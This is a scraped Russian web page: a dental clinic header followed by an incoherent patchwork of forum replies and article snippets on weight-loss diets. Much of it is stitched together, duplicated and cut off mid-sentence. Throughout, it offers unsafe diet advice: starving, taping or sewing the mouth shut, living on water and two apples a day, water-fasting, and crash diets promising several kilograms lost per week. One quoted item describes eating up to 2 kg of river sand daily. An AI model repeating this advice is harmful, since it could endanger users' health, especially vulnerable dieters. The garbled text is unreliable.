Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как называется диета голливудских актрис автор которой умер от ожирения?

Вроде диета Аткинса, названая его именем) безуглеводка...

Главная Похудение Диеты для похудения Голливудская рыбная диета. Голливудская рыбная диета. Автор Елена 04.01.2014.

Как быстро и ефиктивно похудеть????Очень надо помогите!!!!

Похудеть легко и быстро хотят все, вот только получается у всех по-разному. Поэтому, чтобы легко и быстро похудеть за неделю, смотрите рекомендации и советы, что нужно знать и как делать для правильного похудения, для похудения бесплатно представлены рецепты более 40 известных диет: японская диета, кремлевская диета, диета группы крови, гречневая диета, английская диета, французская диета, диета Королевой, кефирная диета, диета Ларисы Долиной, диеты голливудских звезд, а также новые авторские диеты - диета Инны Воловичевой, диета минус 60 Екатерины Миримановой, и многие другие самые эффективные, популярные и проверенные диеты. Мы дадим советы по снижению лишнего веса, у нас вы найдете консультации врачей-диетологов и отзывы на быстрые диеты читатей, пробовавших различные диеты и способы похудеть.

Голливудская диета является низкокалорийной диетой высокой эффективности.Название Диета на один день Автор Джейн Кеннеди Издательство Мой мир ГмбХ amp К0.КГ Год 2006...

Съезди в конц лагерь)))) ) .

Диета (питьевая, гречка, овсянка)
и бегаааааать!

Самая лучшая диета и главное очень хорошо для организма. . ..
На любой огуречной диете, вы не только худеете, но и нормализуете обмен веществ в организме. К тому же именно эта диета легка в соблюдении, потому что чувство голода просто не должно возникнуть. А за первые два дня потеря веса составит минимум — 1 килограмм! За всю неделю соблюдения огуречной диеты можно потерять до 6 килограмм.
На такой диете пить можно воду (желательно минеральную, опять же, для пользы здоровью) и зеленый чай
Меню огуречной диеты на 7 дней.
Меню первого дня диеты
Завтрак: кусок ржаного хлеба; два огурца.
Обед: постный суп из свежих овощей; одно яблоко.
Полдник (по желанию) : один апельсин.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню второго дня диеты.
Завтрак: кусок ржаного хлеба, один огурец.
Обед: 50 грамм отварной говядины, салат из редиса и огурца.
Полдник (по желанию) : одно яблоко.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню третьего дня диеты.
Завтрак: кусок ржаного хлеба, два огурца.
Обед: 100 грамм отварной рыбы, 100 грамм отварного риса; один соленый огурец.
Полдник (по желанию) : один огурец.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на четвертый день огуречной диеты.
Завтрак: кусок ржаного хлеба; один огурец.
Обед: 100 грамм отварного риса; огурец; 20 грамм сыра твердых сортов.
Полдник (по желанию) : одна груша.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на пятый день диеты.
Завтрак: кусок ржаного хлеба; два огурца.
Обед: овощной салат из огурца, капусты, моркови и редиса; один апельсин.
Полдник (по желанию) : одно яблоко.
Ужин: салат из огурца и зелени с заправкой растительным маслом; 20 грамм сыра твердых сортов.
Меню на шестой день огуречной диеты.
Завтрак: кусок ржаного хлеба; один огурец.
Обед: овощной суп, одно яйцо; одна груша.
Полдник (по желанию) : один мандарин.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на 7 день диеты.
Завтрак: кусок ржаного хлеба; два огурца.
Обед: овощной суп, одно яблоко.
Полдник (по желанию) : один огурец.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Кстати, на какой бы диете вы не сидели, не забывайте принимать комплекс витаминов, обогащенный минералами, ведь исключительно на одних огурцах, организм ощутит нехватку столь необходимых для его нормального функционирования веществ.

Если бы такой способ существовал, то на Земле бы давно не было толстых людей=)))))))потому что никто не хочет иметь лишний вес !!!и многие хотят быстро и эфективно, а единственный способ - это спорт и диета !!!и все!

Боннский суп: снижаем вес эффективно
История умалчивает о том, почему овощной суп для похудения именуется боннским, однако его эффективность уже проверена временем. Преимущества, которыми обладает боннский суп для похудения, очевидны: организм получает в пищу необходимое количество клетчатки для регулирования пищеварения, а также витамины и минералы, содержащиеся в овощах.
Такой способ похудения можно назвать наиболее безопасным для здоровья, так как организм нормально функционирует, постепенно перестраиваясь на более здоровую пищу, но стресса от потери веса не получает. Это обусловлено отсутствием чувства голода. Подобная система питания имеет минимальное количество противопоказаний. Питание лишь овощным супом не рекомендуется женщинам, ожидающим ребенка, а также лицам, имеющим проблемы с желудочно-кишечным трактом. В последнем случае продукты подбираются строго индивидуально, так как капуста, входящая в состав супа, вызывает брожение.
Диета, включающая в свой состав суп для похудения, может быть различной. В первом случае предлагается три дня питаться одним лишь супом, приготовленным по приведенному ниже рецепту. Второй вариант более разнообразен, на каждый день составляется индивидуальное меню, исключающее прием алкоголя и вредных продуктов, доминирующим блюдом в котором является все тот же суп.
Чтобы приготовить боннский суп, потребуются овощи. На день предлагается варить трехлитровую кастрюлю данного блюда, поэтому голод на этой диете точно не грозит. На три литра воды используется минимальное количество соли или же один бульонный кубик. После закипания воды в нее добавляются полкилограмма измельченной свежей капусты, около 100 грамм лука-порея, такое же количество побегов сельдерея, несколько крупных болгарских перцев, около 200 грамм моркови, небольшая банка консервированного горошка и пара свежих помидоров.
При таком количестве продуктов суп получается достаточно густой, есть его рекомендуется каждый раз, когда ощущается чувство голода. Калорийность супа на сто грамм минимальна и варьируется от 10 до 20, поэтому результат от подобного питания обязательно будет отличным. Даже за три дня подобной диеты можно сбросить от трех до 5 килограмм.

Голливудская диета очень популярна на голливудских холмах.И эта диета им в этом очень хорошо помогает! Основой диеты является ограничение употребления соли и полное...

Рац. питание и физкультура. "ЕФИКТ" гарантирую.

Http://dietlist.ru/reviews/molokochaj-otzyvy/

Я лично ответсвенно сообщаю, что искала способы похудеть в течении 10 лет. И год назад пришла к компромиссу со всеми своими потребностями, при этом в течении года похудела на 13 кг. Но это вариант, который подходит лишь для постоянного употребления (это не быстро)

Быстро худеть опасно для здоровья. Т. к. жир -это в основном скопление токсинов. Токсины рекой идут через печень повреждая её.Не ешьте после 18 и постепенно похудеете.

Подскажите диету!!! Срочно нужно вкинуть 5 кг!!!

Не ешь))

С помощью именно голливудской диеты многим знаменитостям удается на протяжении уже многих лет поддерживать свою фигуру в пределах параметров 90-60-90.

Раздевайся

Диеты, как похудеть
Вас интересует, как похудеть зимой, какие диеты наиболее эффективны в холодное время года? Раздел Диеты, как похудеть предлагает вашему вниманию более ста статей о самых эффективных диетах и методиках снижения веса, как похудеть легко, быстро и правильно.
Похудеть легко и быстро хотят все, вот только получается у всех по-разному. Поэтому, чтобы похудеть за неделю на 3,5 или 10 кг, выбирайте рекомендации и советы, что нужно знать и как делать для правильного похудения. В блоке Диеты для похудения бесплатно представлены рецепты более 40 известных диет: японская диета, кремлевская диета, диета группы крови, гречневая диета, английская диета, французская диета, диета Королевой, кефирная диета, диета Ларисы Долиной, диеты голливудских звезд, а также новые авторские диеты - диета Инны Воловичевой, диета минус 60 Екатерины Миримановой, и многие другие самые эффективные, популярные и проверенные диеты. Мы дадим советы по снижению лишнего веса, у нас вы найдете консультации врачей-диетологов и отзывы на быстрые диеты читатей, пробовавших различные диеты и способы похудеть. А для тех, кто хочет снизить свой лишний вес, похудеть без диет, проведем анализ всех известных альтернативных систем похудения, отметим плюсы и минусы каждой диеты, легкость исполнения, качество и скорость похудения. Вы узнаете, что похудение может быть простым и приятным.
Каждую неделю мы добавляем новые бесплатные эффективные диеты, чтобы ваше похудение прошло быстро и легко.
Марина, Саратов
Все говорят, что ДИЕТЫ работают только тогда, когда ты совмещаешь их со спортом. А если заниматься спортом нет возможности по физическим параметрам, упражнения противопоказаны. Как в этом случае можно похудеть, какие диеты вы можете рекомендовать для подобных случаев.

Секс !!!Не реже 13 раз в день !!!Стоя !!!И фигура - ИДЕАЛЬНАЯ !!!

Диета на 9 дней. первые три дня есть только рис, причем не соленый, Следующие три дня - куриную грудку отварную и тоже не соленую. Еще три дня яблоки. А пить после еды можно только через два часа.)) можно сбросить 6-7 кг...

Быстро не получится. если будешь потом вернешь всё сразу

Автор больше известен как поэт-сталинист, поэтому в составленнойГолливудская диета 709K читать скачать fb2 издано в 2006 г. в серии Будьте здоровы! следить .

Диета моделей самая лучшая, пиши на мне в личку расскажу

Есть очистительна програма которая заключается в 14 днях.... если интересует, напишы мне в лс я тебе подробно розкажу....

Приветики девчёнки)Я решила похудеть вы не можете посоветовать мне какую нибудь деюту , ну или физическое занятие?)

А какой вес для вас оптимальный?

Вариантов голливудской диеты существует несколько десятков. Порой так называется чуть ли не любая низкокалорийная д.

Мне кажется с таким весом не худеть надо а заниматься упражнениями!!!! Скачай Голливудского тренера!!!! Вообще супер!! ! Там несколько частей на все группы мышц!! ! Рекомендую!!

Диета Протасова

Модные диеты
Да-да, и в мире диет тоже существует своя мода. Постоянно вспыхивает интерес то к одной, то к другой диете, ну а какие-то остаются на пике интереса многие месяцы и даже годы. Дак что же модно сейчас? (замечу только в скобочках, что даже самая модная диета вовсе не обязательно окажется лучшей именно для вас:) )
Кремлевская диета
Кремлевская диета остается самой модной и популярной диетой на протяжении вот уже нескольких лет. Правда, эффективность этой диеты, на мой взгляд, куда ниже, чем ее "раскрученность":) Да и подойдет она далеко не всем.. . Суть кремлевской диеты - в очень серьезном ограничении углеводов, если не сказать, что в почти полном отказе от них.
Японская диета
Так называемая японская диета, не имеющая на самом деле ничего общего с традиционным питанием жителей страны восходящего солнца, также очень популярна в нашей стране. Ее авторы обещают просто фантастический результат: не только значительное похудение, но и полную перестройку обмена веществ, благодаря которой вы не будете полнеть как минимум 2-3 года. Вот только часто бывает, что чем громче обещание, тем.. . сами знаете что: )
Диета по группе крови
Как уверен Питер Д'Адамо, автор этой теории питания, именно от группы крови зависит, какие продукты будут полезны для конкретного человека, а какие вредны, какие будут способствовать похудению, а какие - набору веса. И свою диету каждому человеку надо строить, отталкиваясь именно от своей группы крови.
Диета Ларисы Долиной
Диета Ларисы Долиной получила свое название благодаря слухам о том, что постройнела знаменитая певица именно с помощью этой диеты, а вовсе не тех пилюль для похудения, которые она так активно когда-то рекламировала. Выдержать диету Долиной непросто, и далеко не всем она подойдет, но познакомиться с описанием этой диеты, думаю, будет интересно, даже если вы и не собираетесь испробовать ее на себе.

На YouTube много видео с комплексом упражнений. Просто вводите в поиск упражнения для определённой части тела и занимаетесь, я так и делаю. А что по части питания, так просто исключите сахар, майонез, выпечку из муки высшего сорта. Главное не изнурять себя жёсткими диетами и голоданием, так как от недостатка питательных веществ и витаминов будет срыв на обжорство.

По мне так лучшая диета это вода и фрукты
3 литра воды и 2 яблока в день
еще есть разные програмы вот эта очень классная. Как называется непомню но там твой тренер муравьед.
Ах да йога тоже уменьшает вес

Диета строгая, но эффективная. Питаться на Голливудской диете нужно, исходя из предложенного меню.Права на публикуемые фотографии принадлежат их авторам.

Диета: понедельник-берешь яйцо, вторник-варишь, среда-чистишь, четверг-ешь белок, пятница-желток. Ну а остальные дни-разгрузочные.

Хочу похудеть

Чай (зеленый) с сахаром пей
физ нагрузки.

Диета, названная автором, которая написала множество книг о похудении Минус 60 , была разработана и опробована лично... подробнее.Диеты от знаменитостей. Голливудская диета.

Меньше хлеба, соли и сахара! Этого достаточно чтобы не набираться вес!)

Проверено. препарат дайджест компании тяньши

Поможет только дырявая ложка - все время недоедать, привыкнуть к ощущению постоянного чувства голода!

Овсянка на воде - самое низкокалорийное блюдо.

Чтобы похудеть Нужно во-первых много двигаться, а питание должно быть сбалансированным, монодиеты типа гречки только вредят, от них быстро сбрасываешь вес, но также быстро и набираешь опять, а ещё и метаболизм нарушается.
. Вот неплохая диета, можно под себя подкорректировать. Принцип один, кушать не менее 5-6 раз в день, но понемногу, так у вас не возникает чувство острого голода.
Голливудская кефирная диета
Примерное меню
Завтрак - сыр, полстакана фруктового сока, кусочек подсушенного хлеба, чашка чая.
Второй завтрак - салат из овощей, яйцо, стакан кефира.
Обед - салат из овощей с растительным маслом, любое изделие из мяса.
Полдник - фрукты.
Ужин - кусочек хлеба, небольшая порция рыбы.
Перед сном - стакан кефира

Существует 2 варианта голливудской диеты, на 7 дней и на 14 дней. Вторая неделя ничем не отличается от первой, кроме отвеса.

Можно и поголодать дней5на водичке

Попробуй гречнево-кефирную монодиету. Пресно, но сытно! За неделю я скинула 4 кг. и желудок заметно уменьшился, ем намного меньшие порции, чем раньше.

НЕОБЫЧНЫЕ СПОСОБЫ ПОХУДЕНИЯ
Например, для похудения диетологи предлагают нам пить холодную воду, Поднять её, как известно, нам нужно до 36, 6. Плюс, правда, от этого нововведения, равно как и минус в калориях, сомнителен, ибо чтобы худеть, не ограничивая себя в еде, надо выпивать как минимум ведра три холодной воды в день. Да и ангину после ледяной водицы подхватить недолго.
На основании многочисленных исследований, ученые пришли к выводу, что в мозге каждого человека есть определенный центр, контролирующий массу тела. Вот почему, если вы резко худеете, несогласный с этим организм возвращает вес в прежнее, «эталонное» для него, состояние. Для того, чтобы похудеть без возврата веса, утверждают ученые, необходимо увеличить свой вес искусственно (например, носить всё время с собой рюкзак с кирпичами) , а по мере реального похудения постепенно избавляться и от кирпичей, изменяя таким образом показания внутреннего счетчика массы тела. Метод интересный, объясняет то, почему так трудно похудеть после родов, но таскать всё время за собой рюкзак с кирпичами – это для отважных и сильных духом девушек.
Для того, чтобы похудеть в результате отказа от пищи, но при этом не испытывать чувство голода, ароматерапия рекомендует вдыхать запах яблок, зеленых бананов, мяты или ванилина. Ароматерапевты уверены в том, что именно эти запахи подавляют аппетит.
Американские диетологи советуют считать не калорийность продуктов, а то, сколько раз вы поднесли вилку ко рту. Для того, чтобы похудеть необходимо ограничиться 60-70 «заходами» , правда, нигде не упоминается какую именно пищу можно есть.
Французский врач-терапевт предлагает худеть по циклам луны (ведь давно известно, что луна влияет на организм) , в полнолуние нужно пить как можно больше жидкости, а в новолуние употреблять в пищу только овощи. Этот способ похудеть получил название лунная диета и становится в последнее время среди женщин все более популярным.
Если уж все эти способы не внушили вам особого доверия, посмотрим, что же вы скажите об этих:
- Знатоки утверждают, что прыгнув с парашютом можно сразу похудеть на три килограмма.
- Очень оригинальный рецепт диеты предлагает 57-летняя жительница Литвы Станислава Монствилиене. Она рекомендует каждый день съедать до 2 кг песка – он полезен для здоровья и помогает избавиться от лишних килограммов. Песок, кстати, совсем не сахарный, а обычный речной, сама Станислава уже пять лет его употребляет и очень довольна результатом диеты. Мы в свою очередь предупреждаем читателей, что метод этот ещё не запатентован, а также не прошел соответствующие клинические испытания, потому применять его при желании вы будете исключительно на свой страх и риск.
- Домохозяйка из Вологды советует не использовать диету для похудения, а просто выбросить холодильник (и все продукты тоже) , газовую плиту и заняться капитальным ремонтом в квартире. Во время ремонта будет много энергозатрат, а есть без холодильника и плиты вам будет нечего – похудеете, заодно и ремонт сделаете.
- У следующего метода похудения нет конкретного автора, но он весьма эффективен: потратьте абсолютно все свои деньги на дорогие вещи, но выберите одежду на несколько размеров меньше, чем у вас сейчас, а туфли на самом высоком каблуке. Денег на еду не будет, зато стимулов быстро похудеть хоть отбавляй.
- Неизвестный диетолог из России предлагает питание свое не менять, просто положить на стул листок, где написано название любой понравившейся вам диеты, например кремлевская диета, сесть на этот листик и сидеть на нёмне вставая ни по какому поводу, ровно столько часов в день, на сколько килограмм вы хотите похудеть. При этом нельзя читать или пользоваться компьютером, нужно просто сидеть на «ДИЕТЕ» и худеть. Если через неделю обычная «ДИЕТА» не поможет, автор новшества советует заменить надпись словами: «ЭФФЕКТИВНАЯ ДИЕТА» и продолжать на ней сидеть.
Ольга Дворецкая
для Женский журнал Arabio.RU

Во вторник, зайдите ко мне в мой мир и в моём блоге будет выложена ссылка на комнату, где будет ведущий врач мира доктор Миллер из США отвечать на подобные вопросы и вы сможете получить професиональный ответ! Он этим занимается 20 лет
УДАЧИ!

Хочу похудеть, не знаю, какая диета лучше!!!Подскажите.

Которая на всю жизнь длинной

Давно уже голливудская диета не является диетой для избранных.При соблюдении голливудской диеты имеет смысл принимать витаминный комплекс.

Не есть после шести. Самая простая и эффективная диета.

Раздельное питание, занятие спортом и не кушать после 18-00...

Есть надо разумно: ) кста, слово "диета" переводится именно так - разумное питание:)

НЕ ешь после 18 ч----пей воду, или чай с травами, для начала 20 мин ходьба в горку и зарядка --растяжка Удачи !!

Мне больше всего понравилась диета по рассчету к/кал. Есть можно всё, но через каждые 4-4.5 часа по- немногу, жевать пищу долго. Наступает насыщение и ты ешь намного меньше

Отзывы худеющих о голливудской диете вы сможете найти в конце статьи. Меню голливудской диеты. Первый и восьмой день диеты.

Катюш, у меня на глазах произошли поразительные перемены в нескольких моих сотрудницах после вот чего:
Японская диета
"Японская диета" разработана специалистами японской клиники "Яэкс". Расчитана диета на 13 дней. Авторы диеты обещают, что за это время обмен веществ перестроится на иной ритм работы и стойкий эффект от применения диеты сохранится минимум на 2-3 года без каких-либо дальнейших усилий. Верить ли этим обещаниям - решайте сами. Итак, что же представляет из себя японская диета? Важные условия применения этой диеты: в течение 13 дней нельзя употреблять сахар, соль, алкоголь, мучные и кондитерские изделия. Между приемами пищи можно без ограничений пить минеральную или кипяченую воду. Диету следует употреблять точно, не меняя последовательности, т. к. только в этом случае происходит изменение обмена веществ.
День 1
Завтрак: черный кофе
Обед: 2 яйца вкрутую, салат из вареной капусты с растительным маслом, стакан томатного сока.
Ужин: рыба жаренная или вареная
День 2
Завтрак: черный кофе, сухарик
Обед: рыба жаренная или вареная, салат из овощей, капусты с растительным маслом.
Ужин: 100 грамм вареной говядины, стакан кефира.
День 3
Завтрак: черный кофе, сухарик.
Обед: 1 большой жареный кабачок в растительном масле
Ужин: 2 яйца в крутую, 200 грамм вареной говядины, салат из свежей капусты с растительном маслом.
День 4
Завтрак: черный кофе.
Обед: 1 сырое яйцо, 3 больших вареных моркови с растительным маслом, 15 грамм твердого сыра.
Ужин: фрукты.
День 5
Завтрак: сырая морковь с соком лимона.
Обед: рыба жареная или вареная, стакан томатного сока.
Ужин: фрукты.
День 6
Завтрак: черный кофе
Обед: 0.5 вареной курицы, салат из свежей капусты или моркови.
Ужин: 2 яйца в крутую, стакан сырой моркови с растительным маслом.
День 7
Завтрак: чай
Обед: 200 гр. вареной говядины, фрукты.
Ужин: что хотите из ужинов, кроме 3-го дня (можно вареных крабов)
День 8
Завтрак: черный кофе.
Обед: 0.5 вареной курицы, салат из свежей капусты или моркови.
Ужин: 2 яйца вкрутую, стакан сырой моркови с растительным маслом.
День 9
Завтрак: сырая морковь с соком лимона.
Обед: большая рыба жареная или вареная, стакан томатного сока
Ужин: фрукты.
День10
Завтрак: черный кофе.
Обед: 1 сырое яйцо, 3 больших вареных моркови с растительным маслом, 15 гр. твердого сыра.
Ужин: фрукты.
День 11
Завтрак: черный кофе, сухарик.
Обед: 1 большой жареный кабачок в растительном масле.
Ужин: 2 яйца вкрутую, 200 гр. вареной говядины, салат из свежей капусты с растительным маслом.
День 12
Завтрак: черный кофе, сухарик
Обед: рыба жареная или вареная, салат из овощей, капуста с растительным маслом
Ужин: 100 гр. вареной говядины, стакан кефира.
День 13
Завтрак: черный кофе.
Обед: 2 яйца вкрутую, салат из вареной капусты с растительным маслом, стакан томатного сока.
Ужин: рыба жареная или вареная
Надо заметить, что описанная "японская диета" имеет мало общего с традиционным питанием японцев. Япония - страна, ориентированная на море и морепродукты. Обилие гор (ими занято более 75% всей территории Японии) , покрытых сетью бурных порожистых рек и вечнозелеными лесами, оставляет для развития сельского хозяйства лишь небольшие полоски вдоль побережья и немногочисленные пригодные для возделывания участки на склонах гор. Поэтому земледелие в Японии не получило большого развития - основной культурой является рис, кроме этого, выращиваются пшеница, ячмень, соевые бобы и другие злаки. Еще менее в Японии развито животноводство - нет обильных пастбищ - поэтому мясо и молочные продукты получили распространение лишь в последние годы, да и то их удельный вес в питании японцев весьма и весьма скромен. Правда, широко распространены цитрусовые (мандарины и апельсины) , яблоки, груши, бананы, персики, вишня (знаменитая сакура) - как-никак, субтропический климат, а он весьма способствует бурному росту фруктовых деревьев и кустарников.
По свидетельствам самих японцев, обычная (традиционная) япо

Лейкопластырь на рот

Все зависит от ваших индивидуальных особенностей, можно конечно и рот зашить, только ради чего такие мучения. Лучше разработайте свою индивидуальную сами, учитывая диеты по группе крови, гороскопу, по совместимости продуктов и т. д. Будьте активней, спортивней и станите стройней! Удачи!

Чтобы похудеть Нужно во-первых много двигаться, а питание должно быть сбалансированным, монодиеты типа гречки только вредят, от них быстро сбрасываешь вес, но также быстро и набираешь опять, а ещё и метаболизм нарушается.
. Вот неплохая диета, можно под себя подкорректировать. Принцип один, кушать не менее 5-6 раз в день, но понемногу, так у вас не возникает чувство острого голода.
Голливудская кефирная диета
Примерное меню
Завтрак - сыр, полстакана фруктового сока, кусочек подсушенного хлеба, чашка чая.
Второй завтрак - салат из овощей, яйцо, стакан кефира.
Обед - салат из овощей с растительным маслом, любое изделие из мяса.
Полдник - фрукты.
Ужин - кусочек хлеба, небольшая порция рыбы.
Перед сном - стакан кефира

Если уж все способы не внушили вам особого доверия, посмотрим, что же вы скажите об этих:
- Знатоки утверждают, что прыгнув с парашютом можно сразу похудеть на три килограмма.
- Очень оригинальный рецепт диеты предлагает 57-летняя жительница Литвы Станислава Монствилиене. Она рекомендует каждый день съедать до 2 кг песка – он полезен для здоровья и помогает избавиться от лишних килограммов. Песок, кстати, совсем не сахарный, а обычный речной, сама Станислава уже пять лет его употребляет и очень довольна результатом диеты. Мы в свою очередь предупреждаем читателей, что метод этот ещё не запатентован, а также не прошел соответствующие клинические испытания, потому применять его при желании вы будете исключительно на свой страх и риск.
- Домохозяйка из Вологды советует не использовать диету для похудения, а просто выбросить холодильник (и все продукты тоже) , газовую плиту и заняться капитальным ремонтом в квартире. Во время ремонта будет много энергозатрат, а есть без холодильника и плиты вам будет нечего – похудеете, заодно и ремонт сделаете.
- У следующего метода похудения нет конкретного автора, но он весьма эффективен: потратьте абсолютно все свои деньги на дорогие вещи, но выберите одежду на несколько размеров меньше, чем у вас сейчас, а туфли на самом высоком каблуке. Денег на еду не будет, зато стимулов быстро похудеть хоть отбавляй.
- Неизвестный диетолог из России предлагает питание свое не менять, просто положить на стул листок, где написано название любой понравившейся вам диеты, например кремлевская диета, сесть на этот листик и сидеть на нём, не вставая ни по какому поводу, ровно столько часов в день, на сколько килограмм вы хотите похудеть. При этом нельзя читать или пользоваться компьютером, нужно просто сидеть на «ДИЕТЕ» и худеть. Если через неделю обычная «ДИЕТА» не поможет, автор новшества советует заменить надпись словами: «ЭФФЕКТИВНАЯ ДИЕТА» и продолжать на ней сидеть.
Ольга Дворецкая
для Женский журнал Arabio.RU

В чем основной смысл голливудской диеты?Чтобы добиться долгосрочного эффекта, автор предлагает во время одного приема пищи не смешивать различные виды белков или углеводов.

Во вторник, зайдите ко мне в мой мир и в моём блоге будет выложена ссылка на комнату, где будет ведущий врач мира доктор Миллер из США отвечать на подобные вопросы и вы сможете получить професиональный ответ! Он этим занимается 20 лет
УДАЧИ!

Рисовая диета.
170 грамм риса отварить, кушать в течении всего дня, через каждые 2 часа, моно также к рису добавить ягоды кураги или чернослива, при каждом приеме пищи пить горячий чай зеленый или черный с молоком. Сидеть на этой диете неделю, далее добавлять к рису рыбку или мясо курицы приготовленное на пару. Эффект уже будет заметен через 3-4 дня, проверено!

Диета СУПЕР худеют многие)) ) главное не останавливаться на достигнутом.... удачи
Диета клиники Майо
Ингредиенты для диетического супа:
• Силдерей – 1 пучок можно крень сельдерея
• Лук репчатый – 6 штук
• Помидоры – 3штуки (можно консерв. в собственном соку)
• Капуста – 200 грамм
• Кубик куриный – 2 штуки
Способ приготовления:
Все ингредиенты порезать небольшими кусочками, залить водой, довести до кипения и варить до готовности овощей, пока они не разварятся, после чего добавить куриные кубики, посолить по вкусу. Суп надо есть всегда, когда возникает чувство голода.
День первый. Суп и фрукты. Вы можете, есть любые фрукты, кроме бананов. В дынях и арбузах меньше калорий, чем в большинстве других фруктов. Ешьте только суп и фрукты. В качестве питья использовать не подслащенный чай или кофе (без молока) , клюквенный сок или воду (как можно больше) .
День второй. Суп и овощи. Можете есть все овощи какие хотите (сырые, свежие или консервированные) . Допустима и листовая зелень. Ешьте все это с супом, пока не насытитесь. Держитесь подальше от сушеных бобовых, зеленого горошка и кукурузы.
Во время обеда в этот день можете съесть печеную картошку с маслом. Не ешьте никаких фруктов. Пейте воду.
День третий. Суп, фрукты и овощи. Ешьте суп и все овощи и фрукты, какие хотите, исключив только печеную картошку. Пейте воду. Если вы действительно в течение 3 дней полностью придерживались диеты, то вполне могли потерять к этому времени 2,5-3 кг.
День четвертый. Суп, фрукты и овощи, включая бананы и снятое молоко. Можно съесть 3 банана и выпить так много воды. Сколько получится, параллельно с супом. Ешьте так много супа, свежих овощей и фруктов, сколько вам хочется, но бананов только 3!
День пятый. Говядина и помидоры с супом. Можете съесть 300-800гр. Говядины или банку консервированных помидоров (или только свежих – сколько хочется) . Постарайтесь выпить 6-8 стаканов воды в этот день. Хотя бы раз в день съешьте суп.
День шестой. Говядина и овощи (особенно листовые) плюс суп. Говядину и овощи ешьте досыта. Если у вас есть желание, можете съесть 2 или 3 бифштекса и все зеленые листовые овощи, какие хотите, но никакой печений картошки. Пейте воду.
День седьмой. Коричневый рис, фруктовый сок, овощи и суп. Сегодня вы можете есть коричневый (необдирный) рис, не подслащенный фруктовый сок и овощи. Рис можно добавить к супу, а можно к рису добавить овощи – резанные лук и помидоры, цветную капусту. Не запрещается приготовить овощи с карри. Пейте воду.
К концу седьмого дня если вы строго соблюдали диету, вы потеряете от 4,5-8 кг.
Категорически запрещены: хлеб, алкоголь, газированные (шипучие) напитки. Ничего нельзя жарить или готовить с добавлением Жира.
ОБЩИЕ ПРАВИЛА
• Строго придерживайтесь рекомендаций на каждый день. Не допускайте никаких отступлений и фантазий.
• Взвешивайтесь по утрам.
• Ешьте суп каждый раз, как только вы начинаете испытывать голод.
• Будьте осторожны с маслом – его можно употреблять только раз в неделю с печеной картошкой.
• Тщательно убирайте с мяса весь жир. С птицы снимайте шкуру.

Подскажите диету для похудения, которую вы испробовали и и соответственно похудели.Спасибо

Избавится от привычки постоянно перекусывать... сейчас я поправится не могу)

Вс Янв 22, 2012 5 15 pm автор Мэр города. Первая часть знакомства с форумчанами здесь.Основа голливудской диеты ограничение количества углеводов, жиров и калорийности.

Кремлёвская диета

Считаю каллории, не ем сладкое, мучное, и не ем после 18 часов.... вот в принципе и все, результаты нравятся.

Безуглеводная, исключать все, содержащее углеводы ОЧ. эффективно

Какие диеты? ЖРАТЬ МЕНЬШЕ не пробовали?

Для быстрого похудания не на сто кг. мне помогли голливудская и японская диеты. три месяца выдержала десять кг. ушло. но через пол года начали возвращаться.

Меню первого варианта голливудской диеты на 7 дней.По словам авторов диеты за два дня можно похудеть на 3-4 кг.

Советую английскую диету - вес после неё не возвращается!

Прочитайте http://harbor.ru/faq/faq.htm

Не есть перед компьютером или телевизором
японская диета

Рекомендую попробовать.
Вот на этой системе питания за месяц я сброисла 4 кг, даже не напрягаясь, подруга 20 за пол года, а её муж 40 за 8 месяцев.
Это лучшее, что мне удалось найти. Пройдитесь по этим ссылкам.
Кушать можно всё, но в разное время. Даже сладкое и мучное. Худеешь медленно, но вес не возвращается.
Тип диеты - смешанная
Убыль веса - в зависимости от исходного веса и срока применения диеты. Автор диеты при ее использовании похудела на 60 кг
Срок применения - длительное время, лучше постоянно.
Данная диета разработана Екатериной Миромановой и, в последнее время, пользуется большой популярностью у наших соотечественников. Диету "Минус 60" правильнее будет назвать системой питания. Автором, на собственном опыте, разработана целая система мероприятий по снижению веса, включающая в себя диету, физические упражнения, психологию похудения. Комплексное использование всех этих факторов позволяет не только сбросить лишний вес, но и почувствовать себя здоровым, бодрым и счастливым человеком.
Ниже приводятся основные рекомендации любезно предоставленные самим автором для нашего сайта
http://www.dieta-da.ru/minus60.htm
http://forum.say7.info/topic28172.html
http://rutube.ru/tracks/2810005.html?v=0 ... что съесть, чтобы похудеть.

Красивое тело – это серьезная работа над собой и новый образ жизни на долгие годы, не верьте что похудение – это голодовка глупая (гречневая, кефирная, жидкая, кремлевская и прочие идиотские, не помогающие диеты) на месяц или два – это не правда.
Дарю вам подробный рецепт своего образа жизни, благодаря которому не набрала за 30 лет ни грамма лишнего веса:
1.Никогда не смешивать углеводы с белками и жирами.
2.Есть углеводы ежедневно (включая сахар) , но только утром до 12-00.
3.В день не меньше 3-4 приемов пищи порциями по 150-200 грамм.
4.Последний прием пищи в 18-00.
5.В 21-00 обязательно кефира стаканчик или йогурт не сладкий.
6.2 литра воды ежедневно именно вода запускает в организме процесс сжигания жира.
7.Спорт хоть дома на ковре, но регулярно, без него ни одна диета на свете смысла не имеет.
Из рациона убрать навсегда: Хлеб, мучное, картофель, сладости (ну за редким исключением по праздникам 3-4 раза в ГОД) , солености, копчености, бананы, виноград.
Удачи вам и красоты) )

Перед началом голливудской диеты, необходимо проконсультироваться со специалистом. Автор Инна Рябинина, специально для Кулинарочки.ру.

Исключить соль и сахар. Есть маленькими порциями каждые 3 часа.

Гречневая диета. За месяц -10 кг

Диета № 8, 20 кг за полгода. С Редуксином начала с 4 мая новую диету, 3 кг за 8 дней.

Банановая, день -1

Кремлевская)) ) в сочетании с "жрать надо меньше"))

Голливудская диета Автор коллектив Издательство Новый Диск Год 2008 Качество ebook Формат exe Язык русский Размер 62 МБ.

С понедельника сажусь на кремлёвскую диету! Каковы её минусы?

Дефецит углеводов

Автор ООО Научная книга Формат ехе Язык русский Размер 60 МБ Страниц много Качество хорошее Скачать Все о диетах 1. Голливудская диета VIP-File - на высокой скорости http...

А почему с понедельника, а не завтра?

Минус ее один - надо жить в Кремле. Иначе не поможет. На самом деле это чушь

